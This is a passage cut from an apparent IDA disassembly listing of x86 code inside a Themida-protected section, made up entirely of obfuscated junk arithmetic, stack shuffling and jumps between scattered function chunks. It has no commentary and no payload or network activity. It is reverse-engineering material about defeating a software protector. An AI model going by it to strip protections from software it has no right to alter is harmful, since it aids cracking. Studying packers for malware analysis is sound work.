jmp loc_55A0D4
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B6EA: ; CODE XREF: Themida_:00557F46j
xor ebx, eax
pop eax
add ecx, ebx
jmp loc_55C058
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B6F4: ; CODE XREF: sub_556A70-1F56j
mov eax, 4C0C5AB9h
sub eax, 0DD05353h
or eax, 369F1DFFh
inc eax
or eax, 41BA7323h
add eax, 80408CDCh
add edi, eax
mov eax, [esp+0]
jmp loc_557B46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B718: ; CODE XREF: Themida_:0055AEE3j
sub ecx, esi
pop esi
push edx
mov edx, 46DF196Ch
xor ecx, edx
pop edx
and ecx, 62506EB2h
push edi
jmp loc_558D38
; =============== S U B R O U T I N E =======================================
sub_55B730 proc near ; CODE XREF: sub_556A70-30A6j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00550D6E SIZE 0000003C BYTES
; FUNCTION CHUNK AT 00551FC3 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00553DC5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00553EF5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055599A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555ABB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055601C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005566FB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005599CC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055A656 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055AD65 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055CE3F SIZE 00000007 BYTES
sub esp, 4
jmp loc_551FC3
sub_55B730 endp
; ---------------------------------------------------------------------------
loc_55B73B: ; CODE XREF: Themida_:00553A9Ej
inc ebp
inc ebp
push 0
sub dword ptr [esp], 39BE243Dh
sub [esp], ebp
add dword ptr [esp], 39BE243Dh
mov ebp, [esp]
jmp loc_5557D9
; ---------------------------------------------------------------------------
loc_55B75B: ; CODE XREF: Themida_:00552221j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], edx
push 7E3Ah
mov [esp], esp
add dword ptr [esp], 4
mov edx, [esp]
add esp, 4
push eax
mov eax, 4
jmp loc_55B5B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55B790: ; CODE XREF: sub_552B74+9068j
sub edi, edx
jmp loc_553274
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B797: ; CODE XREF: sub_556A70-1332j
push 275F6477h
pop edi
jmp loc_553B9D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B7A2: ; CODE XREF: Themida_:00556533j
pop ebx
shl edi, 3
or edi, 164E5F28h
or edi, 32B66457h
sub edi, 52C7B4D8h
mov esi, edi
mov edi, [esp]
add esp, 4
sub esi, 6C374B23h
jmp loc_554BC3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55B7CE: ; CODE XREF: sub_552B74+5A04j
mov edx, 6DF6381Bh
push ebx
mov ebx, 0C660355h
add ebx, 0C304A59h
sub ebx, 3B8C182Eh
sub ebx, 6F140161h
sub edx, ebx
mov ebx, [esp+8+var_8]
add esp, 4
mov ecx, edx
pop edx
sub edi, ecx
push dword ptr [esp+0]
jmp loc_5534BF
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B800: ; CODE XREF: sub_556A70+43D9j
mov eax, [esp-1Ah+arg_14+2]
jmp loc_551ED7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B808: ; CODE XREF: Themida_:005520B5j
push ebx
jmp loc_55A8A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B80E: ; CODE XREF: sub_556A70-107Bj
add ecx, ebx
add ecx, 7FA67942h
jmp loc_55801A
; ---------------------------------------------------------------------------
loc_55B81B: ; CODE XREF: sub_556A70+2D28j
mov esi, 4BF213ABh
push edx
mov edx, 68B0182Fh
jmp loc_558FB4
; ---------------------------------------------------------------------------
loc_55B82B: ; CODE XREF: sub_556A70-206Fj
pop ecx
jmp loc_555BD3
; ---------------------------------------------------------------------------
loc_55B831: ; CODE XREF: sub_556A70+451j
push 455Fh
jmp loc_55B5AA
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B83B: ; CODE XREF: Themida_:0055903Bj
push 4D19h
mov [esp], edi
mov edi, 4AD74A00h
add ebp, edi
jmp loc_5589E8
; ---------------------------------------------------------------------------
loc_55B84F: ; CODE XREF: Themida_:00557BB1j
push ebx
sub esp, 4
mov [esp], esi
push ebx
jmp loc_55C4CA
; ---------------------------------------------------------------------------
loc_55B85C: ; CODE XREF: Themida_:0055C6DBj
pop edi
sub edx, 0FFFFFFFFh
push edi
jmp loc_55C7EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B869: ; CODE XREF: sub_556A70+121Ej
push 0A0Eh
mov [esp-1Eh+arg_18+2], edi
mov edi, 7F0404CBh
and edi, 4B9360FEh
push edx
push esi
push 563C1F07h
pop esi
or esi, 14F44A15h
jmp loc_557B21
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_55B88F proc near ; CODE XREF: sub_556A70+70Bj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055CE32 SIZE 0000000D BYTES
sub esp, 4
mov [esp+4+var_4], ecx
push dword ptr [esp+4]
jmp loc_55CE32
sub_55B88F endp
; ---------------------------------------------------------------------------
loc_55B89E: ; CODE XREF: Themida_:00554900j
mov [esp], ecx
jmp loc_55BC00
; ---------------------------------------------------------------------------
loc_55B8A6: ; CODE XREF: Themida_:00556417j
xchg ebp, [esp]
mov esp, [esp]
jmp loc_558237
; ---------------------------------------------------------------------------
loc_55B8B1: ; CODE XREF: Themida_:0055286Ej
add dword ptr [esp], 4
push dword ptr [esp]
pop ecx
add esp, 4
add ecx, 4
push esi
mov esi, 2
jmp loc_558545
; ---------------------------------------------------------------------------
loc_55B8D3: ; CODE XREF: Themida_:00555E82j
push edx
jmp loc_55BC65
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5584F8
loc_55B8D9: ; CODE XREF: sub_5584F8+4ABEj
or edi, 513E3E8Bh
inc edi
jmp loc_552498
; END OF FUNCTION CHUNK FOR sub_5584F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B8E5: ; CODE XREF: sub_556A70+17B1j
add ecx, eax
sub ecx, 73CD47E9h
pop eax
sub ecx, 4
push ecx
push [esp-1Ah+arg_18+2]
jmp loc_553CA9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555F13
loc_55B8FB: ; CODE XREF: sub_555F13+17j
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_555F13
; ---------------------------------------------------------------------------
loc_55B900: ; CODE XREF: Themida_:0055A1D0j
mov edx, ebp
pop ebp
jmp loc_553611
; ---------------------------------------------------------------------------
xor [esp], bp
xor bp, [esp]
xor [esp], bp
push small 7E53h
mov [esp], bp
push small 0F06h
mov [esp], cx
pop bp
mov cx, [esp]
push ebx
mov ebx, esp
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
jmp loc_557C78
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B93B: ; CODE XREF: sub_556A70-DB8j
push edi
jmp loc_55409A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B941: ; CODE XREF: Themida_:005528BBj
add esi, eax
push ecx
mov ecx, 203061DBh
and ecx, 3314143Ah
sub ecx, 0EC82FC3Ah
add esi, ecx
pop ecx
push edx
mov edx, 68AF502Eh
shl edx, 2
not edx
dec edx
shr edx, 4
push ecx
jmp loc_5589DA
; ---------------------------------------------------------------------------
loc_55B96D: ; CODE XREF: Themida_:00556A4Fj
add ecx, 4
push 6DC2h
mov [esp], ebx
push eax
push edx
push 4F29249Ah
pop edx
add edx, 0F46DE0D9h
sub esp, 4
jmp loc_554DE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B991: ; CODE XREF: sub_556A70-204Ej
pop esp
jmp loc_552F68
; ---------------------------------------------------------------------------
loc_55B997: ; CODE XREF: sub_556A70+4EBj
mov ebx, esp
push edi
mov edi, 4
add ebx, edi
jmp loc_554175
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B9A6: ; CODE XREF: Themida_:0055BE37j
sub cl, al
jmp loc_55178D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B9AD: ; CODE XREF: sub_556A70-46D4j
push eax
mov eax, 51582B32h
add eax, 0FFFFFFFFh
inc eax
xor eax, 51582B30h
mov edx, eax
pop eax
add eax, edx
pop edx
xchg eax, [esp-0Ch+arg_8]
mov esp, [esp-0Ch+arg_8]
mov cx, word ptr [esp-0Ch+arg_8]
sub esp, 4
mov [esp-8+arg_4], esi
push esp
pop esi
jmp loc_555614
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55B9DB: ; CODE XREF: Themida_:0055C758j
add edx, 6A674268h
pop esi
xor edx, [esp]
jmp loc_556E77
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55B9EA: ; CODE XREF: sub_556A70-4CC8j
mov ecx, [esp+8+var_8]
add esp, 4
sub bh, 94h
xor al, bh
mov ebx, [esp+4+var_4]
add esp, 4
push 5143h
mov [esp+4+var_4], edx
jmp loc_5523C9
; ---------------------------------------------------------------------------
loc_55BA0B: ; CODE XREF: sub_556A70+6A3j
push edi
mov edi, ebx
mov ecx, edi
pop edi
pop ebx
add ecx, edi
push eax
add [esp+18h+var_18], 46B925DAh
pop dword ptr [ecx]
sub dword ptr [ecx], 46B925DAh
mov ecx, [esp+14h+var_14]
push ebp
jmp loc_554B94
; ---------------------------------------------------------------------------
loc_55BA2D: ; CODE XREF: sub_556A70+5321j
xor edi, 3AF85777h
sub eax, edi
pop edi
jmp loc_558932
; ---------------------------------------------------------------------------
loc_55BA3B: ; CODE XREF: sub_556A70-5E80j
mov edi, esi
jmp loc_55A58E
; ---------------------------------------------------------------------------
loc_55BA42: ; CODE XREF: sub_556A70+3F19j
mov dl, ch
pop ecx
push small 71EEh
jmp loc_55106E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_55BA4E: ; CODE XREF: sub_5539DB+695j
sub edi, 0FF76A793h
mov ebx, edi
pop edi
and ecx, ebx
mov ebx, [esp+4+var_4]
add esp, 4
shr ecx, 0Ah
push 11F6h
jmp loc_55913B
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BA6F: ; CODE XREF: sub_556A70+2F02j
xor [esp-4+arg_0], ecx
jmp loc_559944
; ---------------------------------------------------------------------------
loc_55BA77: ; CODE XREF: sub_556A70-1528j
add [esp-34h+arg_30], 4
mov edi, [esp-34h+arg_30]
add esp, 4
add edi, 4
push ecx
mov ecx, 4
sub edi, ecx
pop ecx
xchg edi, [esp-38h+arg_34]
pop esp
mov [esp-3Ch+arg_38], ecx
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BA9F: ; CODE XREF: Themida_:00557D45j
mov eax, edi
push edi
mov edi, eax
mov ecx, edi
mov edi, [esp]
add esp, 4
pop eax
pop edi
shl ecx, 2
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, 4C17345Dh
jmp loc_55811E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BAD6: ; CODE XREF: sub_556A70+43B9j
push 2FCCh
jmp loc_55607C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552E24
loc_55BAE0: ; CODE XREF: sub_552E24+3758j
xor eax, esi
not esi
push 930h
mov [esp+8+var_8], eax
sub esp, 4
mov [esp+0Ch+var_C], esi
push [esp+0Ch+var_C]
jmp loc_552191
; END OF FUNCTION CHUNK FOR sub_552E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553657
loc_55BAFA: ; CODE XREF: sub_553657-1C36j
add esp, 4
jmp loc_55A79A
; END OF FUNCTION CHUNK FOR sub_553657
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BB05: ; CODE XREF: sub_556A70+6274j
mov [esp-1Eh+arg_18+2], edx
push esi
mov edx, [esp-1Ah+arg_14+2]
add esp, 4
jmp loc_55CEE0
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553E6A
loc_55BB14: ; CODE XREF: sub_553E6A+6j
push 378A6E09h
pop eax
xor eax, 4C6A7161h
inc eax
and eax, 78CB369Fh
push ecx
mov ecx, 78C015E5h
push ebp
mov ebp, 5DD2D0Bh
jmp loc_55598B
; END OF FUNCTION CHUNK FOR sub_553E6A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_555B85
loc_55BB36: ; CODE XREF: sub_555B85+3E9Aj
mov ebp, ebx
pop ebx
xor ebp, 0F7911FBh
sub ebp, 63EF4BF8h
jmp loc_55A50C
; END OF FUNCTION CHUNK FOR sub_555B85
; ---------------------------------------------------------------------------
loc_55BB4A: ; CODE XREF: Themida_:00551B09j
inc esi
push ecx
mov ecx, 0E6658881h
add esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_556EFE
; ---------------------------------------------------------------------------
loc_55BB5E: ; CODE XREF: Themida_:0055AA5Aj
mov eax, [esp]
push esi
push 7761h
mov [esp], esp
add dword ptr [esp], 4
pop esi
jmp loc_556665
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BB74: ; CODE XREF: sub_556A70-557Bj
mov bx, word ptr [esp-8+arg_4]
push ebp
jmp loc_558771
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55BB7E: ; CODE XREF: sub_552B74-2052j
pop ecx
add ah, 0A1h
sub ah, 1Bh
add ah, 0
add cl, ah
pop eax
add bl, cl
mov ecx, [esp+4+var_4]
add esp, 4
add bl, al
sub esp, 4
mov [esp+4+var_4], eax
mov ah, 47h
sub bl, 18h
sub bl, ah
push eax
mov al, 18h
add bl, al
pop eax
pop eax
push 1292h
mov [esp+4+var_4], esi
mov esi, 3FCh
push edx
mov edx, 69FE56A8h
xor edx, 5CAA0C02h
push edx
mov edx, 8B67A4Bh
and edx, 51D115F1h
not edx
xor edx, 0ED1B91D3h
jmp loc_55B790
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BBE1: ; CODE XREF: sub_556A70-5FC8j
shl dh, 4
jmp loc_5512FD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BBE9: ; CODE XREF: Themida_:0055C924j
or esi, 34EF035Ah
jmp loc_557C93
; ---------------------------------------------------------------------------
loc_55BBF4: ; CODE XREF: Themida_:0055C2EDj
or edi, 555E11B3h
inc edi
jmp loc_555930
; ---------------------------------------------------------------------------
loc_55BC00: ; CODE XREF: Themida_:0055B8A1j
push ebx
jmp loc_55669E
; ---------------------------------------------------------------------------
loc_55BC06: ; CODE XREF: Themida_:0055B04Ej
inc al
jmp loc_550CBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BC0D: ; CODE XREF: sub_556A70+4961j
mov esp, [esp-8+arg_4]
jmp loc_5526CC
; ---------------------------------------------------------------------------
loc_55BC15: ; CODE XREF: sub_556A70-2A61j
push 7F99h
mov [esp-18h+arg_14], ecx
mov ecx, esp
add ecx, 4
push ebp
mov ebp, 747E4D11h
xor ebp, 747E4D15h
jmp loc_55840A
; ---------------------------------------------------------------------------
loc_55BC36: ; CODE XREF: sub_556A70+1063j
xor esi, [esp-16h+arg_10+2]
jmp loc_550F5E
; ---------------------------------------------------------------------------
loc_55BC3E: ; CODE XREF: sub_556A70-5DC8j
dec eax
jmp loc_55867E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_55BC44: ; CODE XREF: sub_552B74+EFBj
xor ch, ah
mov eax, [esp+0Ch+var_C]
add esp, 4
sub al, ch
mov ecx, [esp+8+var_8]
add esp, 4
sub al, 0EAh
add al, dl
add al, 0EAh
jmp loc_55385A
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
loc_55BC65: ; CODE XREF: Themida_:0055B8D4j
push ecx
pop edx
jmp loc_559D52
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BC6C: ; CODE XREF: sub_556A70+45CFj
push esi
mov si, 6D41h
jmp loc_552B1E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BC76: ; CODE XREF: Themida_:0055B508j
push ecx
push edx
mov edx, 4DA24326h
mov ecx, edx
pop edx
or ecx, 0E8B566Fh
shr ecx, 8
push ebp
push eax
jmp loc_55574E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BC90: ; CODE XREF: sub_556A70-39ECj
push 37514F94h
pop edi
sub edi, 519953D3h
push ecx
jmp loc_555639
; ---------------------------------------------------------------------------
loc_55BCA2: ; CODE XREF: sub_556A70+36Aj
add esi, 4
xchg esi, [esp-1Eh+arg_18+2]
pop esp
and eax, edi
pop edi
or edx, eax
shl edx, 1
push 6E5Bh
jmp loc_5564F9
; ---------------------------------------------------------------------------
loc_55BCBD: ; CODE XREF: sub_556A70-48E4j
pop bx
jmp loc_555C6E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BCC4: ; CODE XREF: Themida_:0055BF36j
push 6F56h
mov [esp], esi
mov esi, 2CD64574h
neg esi
add esi, 32E4383Ah
jmp loc_557A5A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BCDE: ; CODE XREF: sub_556A70+46D5j
pop ecx
jmp loc_553E88
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BCE4: ; CODE XREF: Themida_:0055337Aj
shl bl, 5
jmp loc_552E0F
; ---------------------------------------------------------------------------
loc_55BCEC: ; CODE XREF: Themida_:0055C76Bj
push ebp
mov ebp, 4
add [esp+4], ebp
pop ebp
jmp loc_559629
; ---------------------------------------------------------------------------
loc_55BCFC: ; CODE XREF: Themida_:00559A51j
or si, cx
pop cx
shr si, 2
or si, 70Fh
push 2AF7h
mov [esp], ecx
push esi
jmp loc_55C13B
; ---------------------------------------------------------------------------
loc_55BD18: ; CODE XREF: Themida_:00552CD3j
push ebp
jmp loc_55CA25
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BD1E: ; CODE XREF: sub_556A70-5413j
push eax
mov eax, 59F67C2Bh
shl eax, 7
xchg eax, ebx
not ebx
xchg eax, ebx
xor eax, 3B5AFE83h
jmp loc_556793
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BD35: ; CODE XREF: Themida_:00552054j
sub eax, 0A9915A5h
push ecx
mov ecx, 27C53913h
and ecx, 53291FDFh
xor ecx, 1819FB4Fh
xor eax, ecx
pop ecx
add edi, eax
mov eax, [esp]
jmp loc_55A5B1
; ---------------------------------------------------------------------------
loc_55BD59: ; CODE XREF: Themida_:005567E5j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push edi
mov edi, 4
push ebx
mov ebx, 583079F1h
add esi, ebx
pop ebx
add esi, edi
push ecx
mov ecx, 583079F1h
sub esi, ecx
jmp loc_553861
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BD86: ; CODE XREF: sub_556A70+4448j
mov edi, 34534FC9h
or edi, 676269E1h
jmp loc_55BA2D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BD96: ; CODE XREF: Themida_:00559C2Dj
shl esi, 6
shr esi, 8
xor esi, 0DF37AABh
sub esi, 0D2C37D57h
add ebx, esi
mov esi, [esp]
add esp, 4
neg ebx
xor ebx, 0F745EAAFh
sub eax, 5B354CD7h
add eax, ebx
add eax, 5B354CD7h
mov ebx, [esp]
add esp, 4
add eax, 4
jmp loc_557840
; =============== S U B R O U T I N E =======================================
sub_55BDD5 proc near ; CODE XREF: sub_556A70-29E6j
var_4 = dword ptr -4
arg_2 = word ptr 6
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
mov esp, [esp+0]
mov [esp-6+arg_2], cx
movzx cx, al
push cx
pushf
jmp loc_550A46
sub_55BDD5 endp
; =============== S U B R O U T I N E =======================================
sub_55BDF1 proc near ; CODE XREF: sub_555903-3FF0j
; sub_556A70-21BEj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 005557FB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C704 SIZE 00000012 BYTES
sub esp, 4
mov [esp+4+var_4], ecx
push 0E600454h
pop ecx
push edi
jmp loc_5557FB
sub_55BDF1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_55BE06: ; CODE XREF: sub_552634+1B34j
or eax, 786320C9h
add eax, 0F0B4BA01h
mov ecx, eax
pop eax
push edx
mov edx, 0D2DBF178h
mov eax, edx
pop edx
add eax, ecx
jmp loc_559993
; END OF FUNCTION CHUNK FOR sub_552634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55C259
loc_55BE23: ; CODE XREF: sub_55C259+10j
xor ebp, 2261064h
jmp loc_556EE2
; END OF FUNCTION CHUNK FOR sub_55C259
; ---------------------------------------------------------------------------
loc_55BE2E: ; CODE XREF: Themida_:0055B6BBj
neg cl
sub cl, 0A7h
push ax
mov al, 34h
jmp loc_55B9A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BE3C: ; CODE XREF: sub_556A70-4B07j
add edi, 0E4C1FF21h
add esi, edi
pop edi
dec esi
add esi, 0E69F027Bh
add edx, esi
pop esi
push esi
jmp loc_558137
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BE55: ; CODE XREF: Themida_:0055246Ej
mov [esp], esi
mov esi, 2
add edx, esi
mov esi, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_55A5BF
; ---------------------------------------------------------------------------
loc_55BE76: ; CODE XREF: Themida_:0055CE11j
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BE7B: ; CODE XREF: sub_556A70+428j
mov dh, cl
mov ah, dh
pop edx
pop ecx
xor dh, ah
pop eax
mov ch, dh
mov edx, [esp-4+arg_0]
jmp loc_55317D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BE8E: ; CODE XREF: Themida_:0055369Fj
pop esp
or [esp], al
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556769
loc_55BE98: ; CODE XREF: sub_556769+242Bj
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556769
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BE9D: ; CODE XREF: sub_556A70-5131j
add edi, ecx
jmp loc_55CD9E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BEA4: ; CODE XREF: Themida_:00558DF9j
sub [esp], dl
jmp loc_55596D
; ---------------------------------------------------------------------------
loc_55BEAC: ; CODE XREF: Themida_:00557B41j
sub esp, 4
mov [esp], eax
push 2B304223h
mov eax, [esp]
add esp, 4
add eax, 1
jmp loc_553D28
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554299
loc_55BECD: ; CODE XREF: sub_554299+8038j
pop ebp
pop ebp
add ebp, ecx
pop ecx
jmp loc_550BD2
; END OF FUNCTION CHUNK FOR sub_554299
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
jmp loc_5519A6
; ---------------------------------------------------------------------------
loc_55BEE1: ; CODE XREF: Themida_:00558F4Aj
sub esp, 4
mov [esp], esi
jmp loc_55CC18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BEEC: ; CODE XREF: sub_556A70-195j
add cx, 9F97h
xor si, cx
pop ecx
jmp loc_553AD4
; ---------------------------------------------------------------------------
loc_55BEFA: ; CODE XREF: sub_556A70-19D4j
add esp, 4
mov eax, [esp-14h+arg_10]
jmp loc_5581B5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BF08: ; CODE XREF: Themida_:00551794j
pop ecx
push edi
jmp loc_553E09
; ---------------------------------------------------------------------------
loc_55BF0F: ; CODE XREF: Themida_:0055ADF3j
push eax
push ebp
mov ebp, 24CA1AF1h
mov eax, 9547649Eh
sub eax, ebp
pop ebp
jmp loc_55A14B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_554299
loc_55BF23: ; CODE XREF: sub_554299-36C0j
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_554299
; ---------------------------------------------------------------------------
loc_55BF28: ; CODE XREF: Themida_:00556660j
add ebp, 4
push 7B19h
mov [esp], ecx
jmp loc_55BCC4
; ---------------------------------------------------------------------------
loc_55BF3B: ; CODE XREF: Themida_:00553072j
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55BF40: ; CODE XREF: Themida_:00558A6Ej
inc esi
inc esi
shl esi, 1
sub esi, 0FFFFFFFFh
shr esi, 8
xor esi, 0DA9D743Dh
jmp loc_552BBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BF58: ; CODE XREF: sub_556A70+2A2j
or edx, eax
shl edx, 1
push 0C67h
mov [esp-8+arg_4], ebp
mov ebp, 1
push edx
jmp sub_553E6A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BF6F: ; CODE XREF: Themida_:005538B6j
mov ch, dl
mov ah, ch
pop ecx
mov bl, ah
mov eax, [esp]
add esp, 4
jmp loc_55A335
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BF84: ; CODE XREF: sub_556A70-47A6j
xor esi, 30AB532Fh
add eax, 2B7A1541h
add eax, esi
sub eax, 2B7A1541h
pop esi
jmp loc_5517D9
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55BF9C: ; CODE XREF: Themida_:00554C18j
div cx
push small 27C3h
mov [esp], dx
push ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55BFAF: ; CODE XREF: Themida_:00551385j
add dl, 67h
and ch, dl
jmp loc_55AD24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_557F09
loc_55BFB9: ; CODE XREF: sub_557F09+1E44j
add esp, [edx+38h]
jmp loc_55550F
; END OF FUNCTION CHUNK FOR sub_557F09
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
jmp loc_55C9A7
; ---------------------------------------------------------------------------
loc_55BFCD: ; CODE XREF: Themida_:0055A673j
sub edi, 22D409ACh
add edi, ebp
jmp loc_553747
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55BFDA: ; CODE XREF: sub_556A70+D2Dj
pop eax
add ecx, 4
xchg ecx, [esp+0Ch+var_C]
pop esp
push edx
sub esp, 4
mov [esp+10h+var_10], eax
mov eax, 122A70F5h
push 7CBFh
mov [esp+14h+var_14], esi
jmp loc_555077
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5516F8
loc_55BFFE: ; CODE XREF: sub_5516F8+77E7j
xor ecx, eax
xor eax, ecx
jmp loc_550C3B
; END OF FUNCTION CHUNK FOR sub_5516F8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55C007: ; CODE XREF: sub_556A70+3F2Fj
mov [esp+14h+var_14], esp
push ecx
jmp loc_551B68
; ---------------------------------------------------------------------------
loc_55C010: ; CODE XREF: sub_556A70+10DFj
mov ebp, 25C027EDh
xor edi, ebp
pop ebp
mov eax, edi
mov edi, [esp+14h+var_14]
add esp, 4
jmp loc_552520
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
